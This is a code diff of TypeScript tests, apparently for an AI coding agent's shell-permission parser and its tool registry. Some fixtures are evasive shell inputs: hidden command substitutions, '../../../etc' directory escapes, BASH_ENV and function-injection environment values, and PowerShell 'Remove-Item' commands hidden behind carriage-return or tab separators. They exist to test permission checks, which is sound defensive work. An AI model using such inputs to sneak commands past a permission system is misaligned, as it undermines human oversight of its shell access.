Effect.gen(function* () {
calls = 0
assertion = yield* Deferred.make<Permission.AssertInput>()
+2 -1
View File
@@ -1126,7 +1126,7 @@ describe("ModelResolver", () => {
const mantle = yield* ModelResolver.fromCatalogModel(
model(Provider.aisdk("@ai-sdk/amazon-bedrock/mantle"), {
modelID: "openai.gpt-oss-120b",
settings: { region: "us-east-1" },
settings: { region: "us-east-1", topP: 0.6 },
}),
)
@@ -1158,6 +1158,7 @@ describe("ModelResolver", () => {
expect(bedrock.route.defaults.generation).toEqual({ topP: 0.8 })
expect(bedrock.route.defaults.http?.body).toEqual({ serviceTier: { type: "priority" } })
expect(mantle.route.id).toBe("bedrock-mantle-responses")
expect(mantle.route.defaults.generation).toEqual({ topP: 0.6 })
}),
)
+332
View File
@@ -17,6 +17,7 @@ import { AbsolutePath } from "@opencode-ai/core/schema"
import { Session } from "@opencode-ai/core/session"
import { SessionTable } from "@opencode-ai/core/session/sql"
import { SessionStore } from "@opencode-ai/core/session/store"
import { ShellParse } from "@opencode-ai/core/shell/parse"
import { eq } from "drizzle-orm"
import { location } from "./fixture/location"
import { testEffect } from "./lib/effect"
@@ -384,3 +385,334 @@ describe("Permission", () => {
}),
)
})
describe("shell scanner permission impact", () => {
// Fixed cases require matching outcomes; remaining differences are investigation snapshots, not contracts.
// These service-level cases all have command resources; tool tests cover skipped checks and directories.
// Outcome pairs are [legacy, native].
for (const fixture of [
{
name: "timed command preserves wrapper approvals",
shell: "bash",
command: "time -p git status",
approved: ["time *"],
exact: ["time -p git status"],
denied: "time -p git status",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "coprocess command preserves wrapper approvals",
shell: "bash",
command: "coproc git status",
approved: ["coproc *"],
exact: ["coproc git status"],
denied: "coproc git status",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "declarations and unset",
shell: "bash",
command: "export X=value; unset X; git status",
approved: ["git status *"],
exact: ["git status"],
denied: "export *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["allow", "allow"],
},
{
name: "export with an approved command substitution",
shell: "bash",
command: "export VERSION=$(git describe --tags); npm run build",
approved: ["git describe *", "npm run build *"],
exact: ["git describe --tags", "npm run build"],
denied: "export *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["allow", "allow"],
},
{
name: "export retains checks on the command substitution",
shell: "bash",
command: "export VERSION=$(git describe --tags); npm run build",
approved: ["git describe *", "npm run build *"],
exact: ["git describe --tags", "npm run build"],
denied: "git describe *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "redirect after a conditional list",
shell: "bash",
command: "printf ok && git status > output",
approved: ["printf *", "git status *"],
exact: ["printf ok", "git status"],
denied: "git status",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "redirect after a pipeline",
shell: "bash",
command: "printf ok | cat < input > output",
approved: ["printf *", "cat *"],
exact: ["printf ok", "cat"],
denied: "cat",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "assignment redirect followed by a command",
shell: "bash",
command: "FOO=bar > output; printf done",
approved: ["printf *"],
exact: ["printf done"],
denied: "FOO=bar > output; printf done",
savedEffect: ["ask", "allow"],
exactEffect: ["ask", "allow"],
deniedEffect: ["deny", "allow"],
},
{
name: "assignment redirect with an approved command substitution",
shell: "bash",
command: "VERSION=$(git describe --tags) > build/version.txt",
approved: ["git describe *"],
exact: ["git describe --tags"],
denied: "VERSION=$(git describe --tags) > build/version.txt",
savedEffect: ["ask", "allow"],
exactEffect: ["ask", "allow"],
deniedEffect: ["deny", "allow"],
},
{
name: "substitution in a saved prefix",
shell: "bash",
command: "git $(printf diff) --stat",
approved: ["git *", "printf *"],
exact: ["git $(printf diff) --stat", "printf diff"],
denied: "git $(printf diff) --stat",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "standalone PowerShell scriptblock caller",
shell: "pwsh",
command: "ForEach-Object { Write-Output value }",
approved: ["Write-Output *"],
exact: ["Write-Output value"],
denied: "ForEach-Object *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["allow", "allow"],
},
{
name: "tab-separated PowerShell command",
shell: "pwsh",
command: "git\tstatus; Write-Output done",
approved: ["git status *", "Write-Output *"],
exact: ["git status", "Write-Output done"],
denied: "git\tstatus",
savedEffect: ["allow", "ask"],
exactEffect: ["allow", "ask"],
deniedEffect: ["allow", "deny"],
},
{
name: "PowerShell equals-joined argument",
shell: "pwsh",
command: "git --work-tree=src status",
approved: ["git --work-tree *"],
exact: ["git --work-tree"],
denied: "git --work-tree",
savedEffect: ["allow", "ask"],
exactEffect: ["allow", "ask"],
deniedEffect: ["deny", "allow"],
},
] as const) {
for (const scenario of [
{ name: "no approval", saved: [], rules: [], expected: ["ask", "ask"] },
{ name: "saved wildcard", saved: ["*"], rules: [], expected: ["allow", "allow"] },
{ name: "saved command approvals", saved: fixture.approved, rules: [], expected: fixture.savedEffect },
{
name: "exact configured approvals",
saved: [],
rules: fixture.exact.map((resource): Permission.Rule => ({ action: "shell", resource, effect: "allow" })),
expected: fixture.exactEffect,
},
{
name: "exact saved approvals",
saved: fixture.exact,
rules: [],
expected: fixture.exactEffect,
},
{
name: "configured deny despite saved wildcard",
saved: ["*"],
rules: [{ action: "shell", resource: fixture.denied, effect: "deny" }] satisfies Permission.Ruleset,
expected: fixture.deniedEffect,
},
] as const) {
it.live(`${fixture.name}: ${scenario.name}`, () =>
Effect.gen(function* () {
yield* setup(scenario.rules)
const saved = yield* PermissionSaved.Service
yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: scenario.saved })
const service = yield* Permission.Service
for (const [index, portable] of [false, true].entries()) {
const parsed = yield* ShellParse.scan(fixture.command, fixture.shell, "/project", { portable })
expect(parsed.commands.length).toBeGreaterThan(0)
expect(parsed.directories).toEqual([])
const result = yield* service.ask(
assertion({
action: "shell",
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.map((command) => command.save),
}),
)
expect(result.effect, portable ? "native" : "legacy").toBe(scenario.expected[index])
const pending = yield* service.list()
expect(pending).toHaveLength(result.effect === "ask" ? 1 : 0)
if (result.effect !== "ask") continue
expect(pending[0]?.resources).toEqual(parsed.commands.map((command) => command.resource))
expect(pending[0]?.save).toEqual(parsed.commands.map((command) => command.save))
yield* service.reply({ requestID: result.id, reply: "once" })
expect(yield* service.list()).toEqual([])
}
}),
)
}
}
// Grant/repeat rows select the granting parser; repeat columns select the parser used afterwards.
for (const fixture of [
{
name: "numeric npm script prefix",
shell: "bash",
command: "npm run 123",
grants: [["npm run *"], ["npm run 123 *"]],
repeat: [
["allow", "allow"],
["allow", "allow"],
],
next: "npm run build",
nextEffect: ["allow", "ask"],
},
{
name: "numeric AWS option prefix",
shell: "bash",
command: "aws --cli-read-timeout 60 s3 ls",
grants: [["aws --cli-read-timeout s3 *"], ["aws --cli-read-timeout 60 *"]],
repeat: [
["ask", "ask"],
["allow", "allow"],
],
next: "aws --cli-read-timeout 60 ec2 describe-instances",
nextEffect: ["ask", "allow"],
},
{
name: "substitution prefix",
shell: "bash",
command: "git $(printf diff) --stat",
grants: [
["git --stat *", "printf *"],
["git $(printf diff) *", "printf *"],
],
repeat: [
["ask", "ask"],
["allow", "allow"],
],
next: "git --stat",
nextEffect: ["allow", "ask"],
},
{
name: "redirect prefix",
shell: "bash",
command: "printf ok && git status > output",
grants: [
["printf *", "git status *"],
["printf *", "git status *"],
],
repeat: [
["allow", "allow"],
["allow", "allow"],
],
next: "git status --short",
nextEffect: ["allow", "allow"],
},
{
name: "assignment redirect prefix",
shell: "bash",
command: "FOO=bar > output; printf done",
grants: [["printf *"], ["printf *"]],
// Identical saved rules cover only the native resource, regardless of which parser saved them.
repeat: [
["ask", "allow"],
["ask", "allow"],
],
next: "printf next",
nextEffect: ["allow", "allow"],
},
{
name: "PowerShell tab prefix",
shell: "pwsh",
command: "git\tstatus; Write-Output done",
grants: [["Write-Output *"], ["git\tstatus *", "Write-Output *"]],
repeat: [
["allow", "ask"],
["allow", "allow"],
],
next: "git status",
nextEffect: ["ask", "ask"],
},
] as const) {
for (const [origin, portable] of [false, true].entries()) {
it.live(`${fixture.name}: always allow from ${portable ? "native" : "legacy"}, then use either parser`, () =>
Effect.gen(function* () {
yield* setup()
const service = yield* Permission.Service
const saved = yield* PermissionSaved.Service
const parsed = yield* ShellParse.scan(fixture.command, fixture.shell, "/project", { portable })
const first = yield* service.ask(
assertion({
action: "shell",
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.map((command) => command.save),
}),
)
expect(first.effect).toBe("ask")
expect(yield* service.list()).toHaveLength(1)
yield* service.reply({ requestID: first.id, reply: "always" })
expect(yield* service.list()).toEqual([])
expect((yield* saved.list({ projectID: Project.ID.global })).map((rule) => rule.resource).sort()).toEqual(
[...fixture.grants[portable ? 1 : 0]].sort(),
)
for (const [index, target] of [false, true].entries()) {
for (const command of [fixture.command, fixture.next]) {
const parsed = yield* ShellParse.scan(command, fixture.shell, "/project", { portable: target })
const result = yield* service.ask(
assertion({
action: "shell",
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.map((command) => command.save),
}),
)
expect(result.effect, `${target ? "native" : "legacy"}: ${command}`).toBe(
command === fixture.next ? fixture.nextEffect[origin] : fixture.repeat[origin]?.[index],
)
if (result.effect === "ask") yield* service.reply({ requestID: result.id, reply: "once" })
expect(yield* service.list()).toEqual([])
}
}
}),
)
}
}
})
+1
View File
@@ -114,6 +114,7 @@ export function host(overrides: Overrides = {}): Plugin.Context {
},
tool: overrides.tool ?? {
transform: () => Effect.die("unused tool.transform"),
reload: () => Effect.die("unused tool.reload"),
hook: () => Effect.die("unused tool.hook"),
},
vcs: overrides.vcs ?? {
@@ -21,7 +21,12 @@ it.effect("defaults only known Code Mode MCP servers to direct tools", () =>
{
name: "cloudflare code mode",
server: { type: "remote", url: "https://mcp.cloudflare.com/mcp/" },
codemode: false,
codemode: undefined,
},
{
name: "cloudflare raw tools",
server: { type: "remote", url: "https://mcp.cloudflare.com/mcp?codemode=false" },
codemode: undefined,
},
{
name: "cloudflare docs",
+1
View File
@@ -72,6 +72,7 @@ const run = Effect.fnUntraced(function* (events: ReadonlyArray<SessionEvent.Agen
},
tool: {
transform: () => Effect.die("unused tool.transform"),
reload: () => Effect.die("unused tool.reload"),
hook: (name, callback) => {
if (name === "execute.after") {
// Hook names and callbacks are correlated, but TypeScript does not narrow this generic registration API.
+73
View File
@@ -636,4 +636,77 @@ describe("fromPromise", () => {
})
}),
)
it.live("adapts tool mutation, replay, and disposal through the Promise API", () =>
Effect.gen(function* () {
const plugins = yield* Plugin.Service
const registry = yield* Tool.Service
const host = yield* PluginHost.make(plugins)
const progress: Tool.Metadata[] = []
let greeting = "Hello"
let registration: { dispose(): Promise<void> } | undefined
yield* host.tool.transform((draft) => {
const text = greeting
draft.add({
name: "hello",
description: "Hello",
options: { namespace: "acme", codemode: false },
input: Schema.Struct({ name: Schema.String }),
output: Schema.String,
execute: ({ name }, context) =>
context.progress({ phase: "original" }).pipe(Effect.as({ output: `${text}, ${name}!` })),
})
draft.add({
name: "temporary",
description: "Temporary",
input: Schema.Struct({}),
options: { codemode: false },
execute: () => Effect.succeed({ content: "temporary" }),
})
})
yield* PluginPromise.fromPromise(
define({
id: "promise-update",
setup: async (ctx) => {
registration = await ctx.tool.transform((draft) => {
draft.update("missing", () => {
throw new Error("must not create a tool")
})
draft.update("acme_hello", (tool) => {
const execute = tool.execute
tool.description = "Wrapped"
tool.execute = async (input, context) => {
const result = await execute(input, context)
return { ...result, output: `${result.output} Wrapped.` }
}
})
draft.remove("temporary")
})
greeting = "Hi"
await ctx.tool.reload()
},
}),
).effect(host)
const snapshot = yield* registry.snapshot()
expect(snapshot.definitions.map((tool) => tool.name)).toEqual(["acme_hello", "execute"])
expect(snapshot.definitions[0]?.description).toBe("Wrapped")
expect(
yield* snapshot.execute({
sessionID: Session.ID.make("ses_promise_update"),
agent: Agent.ID.make("build"),
messageID: SessionMessage.ID.make("msg_promise_update"),
progress: (value) => Effect.sync(() => progress.push(value)),
call: { type: "tool-call", id: "call_promise_update", name: "acme_hello", input: { name: "world" } },
}),
).toMatchObject({ output: "Hi, world! Wrapped." })
expect(progress).toEqual([{ phase: "original" }])
const registered = registration
if (!registered) throw new Error("Expected registration")
yield* Effect.promise(() => registered.dispose())
yield* Effect.promise(() => registered.dispose())
const restored = yield* registry.snapshot()
expect(restored.definitions.map((tool) => tool.name)).toEqual(["acme_hello", "temporary", "execute"])
expect(restored.definitions[0]?.description).toBe("Hello")
}),
)
})
-114
View File
@@ -1,114 +0,0 @@
import { describe, expect } from "bun:test"
import { Effect, Layer, Schema } from "effect"
import { mkdtemp } from "fs/promises"
import { tmpdir } from "os"
import path from "path"
import { LanguageModel } from "@opencode-ai/ai"
import * as OpenAIChat from "@opencode-ai/ai/protocols/openai-chat"
import { TestLLM } from "@opencode-ai/ai/testing"
import { Agent } from "@opencode-ai/core/agent"
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
import { LayerNodePlatform } from "@opencode-ai/core/effect/app-node-platform"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
import { Bus } from "@opencode-ai/core/bus"
import { Database } from "@opencode-ai/core/database/database"
import { AbsolutePath } from "@opencode-ai/core/schema"
import { Session } from "@opencode-ai/core/session"
import { SessionEngine } from "@opencode-ai/core/session-engine"
import { SessionExecution } from "@opencode-ai/core/session/execution"
import { SessionProjector } from "@opencode-ai/core/session/projector"
import { SessionRunnerModel } from "@opencode-ai/core/session/runner/model"
import { SessionStore } from "@opencode-ai/core/session/store"
import { testEffect } from "./lib/effect"
const testLLM = TestLLM.layer()
// The environment's engine graph compiles the scripted client from the same
// Layer references the application root uses, so the shared MemoMap yields
// one TestLLM instance for both pushes and drains.
const scriptedClient = TestLLM.clientLayer.pipe(Layer.provide(testLLM))
const shared: LayerNode.Replacements = [
[Bus.node, Bus.configured({ persist: true })],
[LayerNodePlatform.llmClient, scriptedClient],
]
const it = testEffect(
AppNodeBuilder.build(
LayerNode.group([
Database.node,
Bus.node,
SessionProjector.node,
SessionStore.node,
SessionExecution.node,
Session.node,
SessionEngine.node,
]),
[...shared, [SessionEngine.node, SessionEngine.configured(shared)]],
).pipe(Layer.provideMerge(testLLM)),
)
const model = SessionRunnerModel.resolved(
LanguageModel.make({ id: "fake-model", provider: "fake", route: OpenAIChat.route }),
{
capabilities: { tools: true, input: ["text"], output: ["text"] },
cost: [],
limit: { context: 200_000, output: 32_000 },
},
)
const executions: string[] = []
const echo = {
name: "echo",
description: "Echo text",
input: Schema.Struct({ text: Schema.String }),
output: Schema.Struct({ text: Schema.String }),
options: { codemode: false as const },
execute: ({ text }: { text: string }) =>
Effect.sync(() => {
executions.push(text)
return { output: { text }, content: text }
}),
}
describe("SessionEngine", () => {
it.effect("drains a durable session against a values-constructed environment", () =>
Effect.gen(function* () {
executions.length = 0
const directory = AbsolutePath.make(
yield* Effect.promise(() => mkdtemp(path.join(tmpdir(), "session-engine-"))),
)
const envs = yield* SessionEngine.Service
const env = yield* envs.make({
directory,
model,
agents: (draft) => {
draft.update(Agent.defaultID, () => {})
draft.default(Agent.defaultID)
},
tools: (draft) => draft.add(echo),
})
const session = yield* env.session()
yield* TestLLM.push(TestLLM.tool("call_1", "echo", { text: "hello" }), TestLLM.text("done", "out_1"))
yield* session.prompt({ text: "use echo", resume: false })
const sessions = yield* Session.Service
yield* sessions.resume(session.id)
// The values tool executed inside the real drain.
expect(executions).toEqual(["hello"])
// The drain produced durable assistant history containing the scripted reply.
const messages = yield* sessions.messages({ sessionID: session.id })
const assistant = messages.filter((message) => message.type === "assistant")
expect(assistant.length).toBeGreaterThan(0)
const text = assistant
.flatMap((message) => message.content)
.flatMap((part) => (part.type === "text" ? [part.text] : []))
.join("\n")
expect(text).toContain("done")
// Reconnect: the same call with the same ID adopts the existing Session.
const reconnected = yield* env.session({ id: session.id, title: "ignored on adoption" })
expect(reconnected.id).toBe(session.id)
expect((yield* sessions.messages({ sessionID: reconnected.id })).length).toBe(messages.length)
}),
)
})
@@ -12,7 +12,6 @@ import { Project } from "@opencode-ai/core/project"
import { ProjectTable } from "@opencode-ai/core/project/sql"
import { AbsolutePath } from "@opencode-ai/core/schema"
import { Session } from "@opencode-ai/core/session"
import { SessionEngineBindings } from "@opencode-ai/core/session/engine-bindings"
import { SessionExecution } from "@opencode-ai/core/session/execution"
import { SessionRestart } from "@opencode-ai/core/session/execution/restart"
import { UserInterruptedError } from "@opencode-ai/core/session/error"
@@ -1172,7 +1171,6 @@ function buildExecution(
Layer.provide(Layer.succeed(Bus.Service, bus)),
Layer.provide(Layer.succeed(SessionStore.Service, store)),
Layer.provide(Layer.succeed(Job.Service, jobs)),
Layer.provide(SessionEngineBindings.layer),
Layer.provide(locations),
),
scope,
@@ -7,6 +7,7 @@ import { PluginHooks } from "@opencode-ai/core/plugin/hooks"
import { Session } from "@opencode-ai/core/session"
import { SessionMessage } from "@opencode-ai/core/session/message"
import { Tool } from "@opencode-ai/core/tool"
import { State } from "@opencode-ai/core/state"
import type { Info } from "@opencode-ai/schema/tool"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
import { executeTool, toolDefinitions } from "./lib/tool"
@@ -71,6 +72,138 @@ const transform = (service: Tool.Interface, tools: Readonly<Record<string, Info>
)
describe("Tool", () => {
it.live("replays updates and removals on reload and restores definitions on disposal", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
let text = "original"
const source = yield* service.transform((draft) =>
draft.add({
...constant(text),
name: "echo",
description: text,
options: { namespace: "acme", codemode: false },
}),
)
yield* transform(service, { echo: make() }, { namespace: "other", codemode: false })
const before = yield* service.snapshot()
const update = yield* service.transform((draft) => {
draft.update("missing", () => {
throw new Error("must not create a tool")
})
draft.update("acme_echo", (tool) => {
tool.description += " updated"
const execute = tool.execute
tool.execute = (input, context) =>
execute(input, context).pipe(
Effect.map((result) => ({ ...result, output: { text: `${result.output.text} updated` } })),
)
})
})
const removal = yield* service.transform((draft) => {
draft.remove("missing")
draft.remove("other_echo")
})
const updated = yield* service.snapshot()
expect(updated.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "execute"])
expect(updated.definitions[0]?.description).toBe("original updated")
expect((yield* updated.execute(call("acme_echo"))).output).toEqual({ text: "original updated" })
text = "refreshed"
yield* service.reload()
const reloaded = yield* service.snapshot()
expect(reloaded.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "execute"])
expect(reloaded.definitions[0]?.description).toBe("refreshed updated")
expect((yield* reloaded.execute(call("acme_echo"))).output).toEqual({ text: "refreshed updated" })
expect((yield* before.execute(call("acme_echo"))).output).toEqual({ text: "original" })
yield* removal.dispose
yield* removal.dispose
yield* update.dispose
const restored = yield* service.snapshot()
expect(restored.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "other_echo", "execute"])
expect((yield* restored.execute(call("acme_echo"))).output).toEqual({ text: "refreshed" })
yield* source.dispose
expect((yield* service.snapshot()).definitions.map((tool) => tool.name)).toEqual(["other_echo", "execute"])
}),
)
it.effect("does not retain an updated tool after its source scope closes", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
const scope = yield* Scope.make()
yield* transform(service, { echo: make() }, { codemode: false }).pipe(Scope.provide(scope))
yield* service.transform((draft) =>
draft.update("echo", (tool) => {
tool.description = "Updated"
}),
)
yield* Scope.close(scope, Exit.void)
expect((yield* service.snapshot()).definitions.map((tool) => tool.name)).toEqual(["execute"])
}),
)
it.effect("batches tool transforms with the shared state lifecycle", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
let runs = 0
yield* State.batch(
Effect.gen(function* () {
yield* service.transform((draft) => {
runs++
draft.add({ ...make(), options: { codemode: false } })
})
yield* service.transform((draft) =>
draft.update("echo", (tool) => {
tool.description = "Batched"
}),
)
expect(runs).toBe(0)
}),
)
expect(runs).toBe(1)
expect((yield* service.snapshot()).definitions[0]?.description).toBe("Batched")
}),
)
it.effect("skips invalid updates without dropping the existing definition", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
yield* transform(service, { echo: make() }, { codemode: false })
yield* service.transform((draft) =>
draft.update("echo", (tool) => {
Object.assign(tool, { description: undefined })
}),
)
expect((yield* service.snapshot()).definitions[0]?.description).toBe("Echo text")
}),
)
it.effect("updates newly added tools and applies removals in order", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
yield* service.transform((draft) => {
draft.add({ ...make(), options: { codemode: false } })
draft.update("echo", (tool) => {
tool.description = "Updated"
tool.input = Schema.Struct({ value: Schema.Number })
tool.output = Schema.Number
tool.execute = ({ value }) => Effect.succeed({ output: value * 2 })
})
draft.add({ ...make(), name: "removed" })
draft.remove("removed")
draft.add({ ...make(), name: "removed" })
draft.remove("removed")
})
const snapshot = yield* service.snapshot()
expect(snapshot.definitions.map((tool) => tool.name)).toEqual(["echo", "execute"])
expect(snapshot.definitions[0]?.description).toBe("Updated")
expect(
(yield* snapshot.execute({
...call("echo"),
call: { type: "tool-call", id: "updated", name: "echo", input: { value: 3 } },
})).output,
).toBe(6)
}),
)
it.effect("logs and skips invalid dotted namespaces", () => {
const output: unknown[] = []
const logger = Logger.map(Logger.formatStructured, (entry) => {
@@ -0,0 +1,234 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../src/shell/parse.js"
describe("portable shell parser compatibility", () => {
test.each([
["bash", "echo $((1+1))", {}],
["bash", "echo $((1 + $(printf hidden)))", {}],
["bash", "cd ~/project", {}],
["bash", "cd src&&cd..", {}],
["bash", "cd src && cd .. && git status", {}],
["zsh", "git status", {}],
["fish", "git status", {}],
["bash", "git status", { BASH_ENV: "/startup" }],
["bash", "git status", { "BASH_FUNC_cd%%": "() { :; }" }],
["bash", "cd $HOME; pwd", { HOME: "/session-home" }],
["bash", "cd; pwd", { HOME: "/session-home" }],
["bash", 'target=/outside; cd "$target"; pwd', {}],
["bash", "cd 'src dir' && git status", {}],
["bash", 'cd "src dir"; cd escaped\\ space', {}],
["bash", "cd '$HOME'; cd '~/outside'", {}],
["bash", 'g""it status', {}],
["bash", 'npm "run" test', {}],
["bash", "git '*'", {}],
["bash", "FOO=bar git status", {}],
["bash", "HOME=/outside; cd; pwd", {}],
["bash", "CDPATH=/outside cd child", {}],
["bash", "cd child; pwd", { CDPATH: "/outside" }],
["bash", "cd /workspace > output", {}],
["bash", "export X=value; unset X; git status", {}],
["bash", "printf ok && git status > output", {}],
["bash", "printf ok | cat < input > output", {}],
["bash", "cd -- -/../../../etc; pwd", {}],
["bash", "cd -; pushd; popd; pwd", {}],
["bash", "command cd /outside; builtin cd /elsewhere", {}],
["pwsh", "Get-ChildItem | ForEach-Object { Write-Output $_ }", {}],
["pwsh", "ForEach-Object { Remove-Item victim }", {}],
["pwsh", "Set-Location -LiteralPath '../outside'; Get-ChildItem", {}],
["pwsh", "Set-Location -LiteralPath:/outside", {}],
["pwsh", "Set-Location -LiteralPath:'/outside path'", {}],
["pwsh", 'Set-Location -PATH:"../outside path"', {}],
["pwsh", "Set-Location $HOME; Set-Location $PWD; Set-Location $target", { HOME: "/session-home" }],
["pwsh", "Set-Item Env:T /outside; Set-Location $env:T", { T: "/workspace" }],
["pwsh", "sl /outside; Microsoft.PowerShell.Management\\Set-Location /outside", {}],
] as const)(
"matches supported legacy resources, saved prefixes, and directories natively: %s %s %j",
async (shell, command, env) => {
if (Object.keys(env).length > 0) {
const child = Bun.spawn({
cmd: [
process.execPath,
"--eval",
`
import { Effect } from "effect"
import { ShellParse } from "./src/shell/parse.ts"
const command = ${JSON.stringify(command)}
const shell = ${JSON.stringify(shell)}
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
console.log(JSON.stringify([legacy, portable, native]))
`,
],
cwd: `${import.meta.dir}/..`,
env: { ...process.env, ...env },
stdout: "pipe",
stderr: "pipe",
})
const [output, error, code] = await Promise.all([
new Response(child.stdout).text(),
new Response(child.stderr).text(),
child.exited,
])
expect(code, error).toBe(0)
const [legacy, portable, native] = JSON.parse(output)
expect(portable).toEqual(legacy)
expect(native).toEqual(legacy)
return
}
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
expect(portable).toEqual(legacy)
expect(await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))).toEqual(legacy)
},
)
test("derives the legacy prefix for long argument lists", async () => {
const command = `echo ${"x ".repeat(16_000)}`.trimEnd()
const result = await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))
expect(result).toEqual({ commands: [{ resource: command, save: "echo *" }], directories: [] })
})
test("extracts inline PowerShell directory flags with case-insensitive names and quoted values", async () => {
const result = await Effect.runPromise(
ShellParse.scanPortable(
"Set-Location -LITERALPATH:C:\\outside; Set-Location -pAtH:'../other dir'",
"pwsh",
"/workspace",
),
)
expect(result).toEqual({ commands: [], directories: ["C:\\outside", "../other dir"] })
})
})
describe("current native and legacy parity gaps", () => {
// These are observed parser gaps, not permission-policy changes that must be preserved.
for (const fixture of [
{
name: "native omits the legacy empty command-name node for an assignment with redirection",
shell: "bash",
command: "FOO=bar > output",
legacy: { commands: [{ resource: "FOO=bar > output", save: " *" }], directories: [] },
native: { commands: [], directories: [] },
},
{
name: "native retains nested executable commands without the legacy empty assignment command-name node",
shell: "bash",
command: "FOO=$(printf value) > output",
legacy: {
commands: [
{ resource: "FOO=$(printf value) > output", save: " *" },
{ resource: "printf value", save: "printf *" },
],
directories: [],
},
native: { commands: [{ resource: "printf value", save: "printf *" }], directories: [] },
},
{
name: "native keeps numeric arguments in saved prefixes",
shell: "bash",
command: "git 2 status",
legacy: { commands: [{ resource: "git 2 status", save: "git status *" }], directories: [] },
native: { commands: [{ resource: "git 2 status", save: "git 2 *" }], directories: [] },
},
{
name: "native keeps numeric directory names and operator-shaped arguments",
shell: "bash",
command: "cd 123; git == value",
legacy: { commands: [{ resource: "git == value", save: "git value *" }], directories: [] },
native: { commands: [{ resource: "git == value", save: "git == *" }], directories: ["123"] },
},
{
name: "native preserves substitution source in saved prefixes instead of skipping the argument",
shell: "bash",
command: "git $(printf status) diff",
legacy: {
commands: [
{ resource: "git $(printf status) diff", save: "git diff *" },
{ resource: "printf status", save: "printf *" },
],
directories: [],
},
native: {
commands: [
{ resource: "git $(printf status) diff", save: "git $(printf status) *" },
{ resource: "printf status", save: "printf *" },
],
directories: [],
},
},
{
name: "directory line continuations remain unresolved source rather than legacy split operands",
shell: "bash",
command: "cd before\\\nafter",
legacy: { commands: [], directories: ["before", "after"] },
native: { commands: [], directories: ["before\\\nafter"] },
},
{
name: "native recognizes PowerShell carriage-return separators omitted by the legacy AST",
shell: "pwsh",
command: "Get-ChildItem\rRemove-Item victim",
legacy: { commands: [], directories: [] },
native: {
commands: [
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
{ resource: "Remove-Item victim", save: "Remove-Item *" },
],
directories: [],
},
},
{
name: "native recognizes tab-separated PowerShell commands omitted by the legacy AST",
shell: "pwsh",
command: "git\tstatus",
legacy: { commands: [], directories: [] },
native: { commands: [{ resource: "git\tstatus", save: "git\tstatus *" }], directories: [] },
},
{
name: "native preserves complete PowerShell flag=value resources",
shell: "pwsh",
command: "git --flag=value",
legacy: { commands: [{ resource: "git --flag", save: "git --flag *" }], directories: [] },
native: { commands: [{ resource: "git --flag=value", save: "git --flag=value *" }], directories: [] },
},
{
name: "native does not split comma-separated PowerShell directory operands",
shell: "pwsh",
command: "Set-Location a,b",
legacy: { commands: [], directories: ["a", ",b"] },
native: { commands: [], directories: ["a,b"] },
},
]) {
test(fixture.name, async () => {
const native = await Effect.runPromise(ShellParse.scanPortable(fixture.command, fixture.shell, "/workspace"))
expect(native).toEqual(fixture.native)
expect(await Effect.runPromise(ShellParse.scan(fixture.command, fixture.shell, "/workspace"))).toEqual(
fixture.legacy,
)
expect(
await Effect.runPromise(ShellParse.scan(fixture.command, fixture.shell, "/workspace", { portable: true })),
).toEqual(native)
expect(native).not.toEqual(fixture.legacy)
})
}
})
describe("legacy directory command behavior", () => {
test.each(["bash", "zsh", "pwsh"])("retains the original shared directory command set: %s", async (shell) => {
const result = await Effect.runPromise(
ShellParse.scan(
"chdir /outside; set-location /elsewhere; push-location /stack; sl .; pop-location",
shell,
"/workspace",
),
)
expect(result).toEqual({
commands: [
{ resource: "sl .", save: "sl *" },
{ resource: "pop-location", save: "pop-location *" },
],
directories: ["/outside", "/elsewhere", "/stack"],
})
})
})
+99 -103
View File
@@ -3,30 +3,104 @@ import { Effect } from "effect"
import { ShellParse } from "../src/shell/parse.js"
import { ShellScan } from "../src/shell/scan.js"
describe("ShellParse portable parity", () => {
test("matches tree-sitter for generated supported syntax", async () => {
for (const [shell, command] of generated()) {
describe("ShellParse native parity", () => {
test("matches the legacy oracle across generated supported syntax without fallback", async () => {
const commands = generated()
expect(commands.length).toBeGreaterThan(20_000)
for (const [shell, command] of commands) {
const context = `${shell}: ${JSON.stringify(command)}`
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
